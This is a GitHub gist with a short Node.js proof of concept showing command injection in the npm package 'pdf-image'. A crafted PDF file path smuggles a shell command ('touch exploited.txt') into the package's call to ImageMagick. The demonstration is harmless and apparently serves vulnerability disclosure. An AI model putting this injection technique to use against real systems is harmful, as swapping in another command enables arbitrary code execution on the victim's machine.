Skip to content

Instantly share code, notes, and snippets.

@mcoimbra
Created October 29, 2023 14:27
Show Gist options
  • Save mcoimbra/c7e088161b102c301ec0fbf99a69691c to your computer and use it in GitHub Desktop.
Save mcoimbra/c7e088161b102c301ec0fbf99a69691c to your computer and use it in GitHub Desktop.
Package pdf-image: it is possible to inject a custom command to be executed rather than imagemagick (the focus of this package).
'use strict'
const pkg = require('pdf-image');
console.log(pkg);
const pdfFilePath = '" | touch exploited.txt "';
const options = {
};
const i = new pkg.PDFImage(pdfFilePath, options);
// This will create a local 'exploited.txt' file.
i.getInfo();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment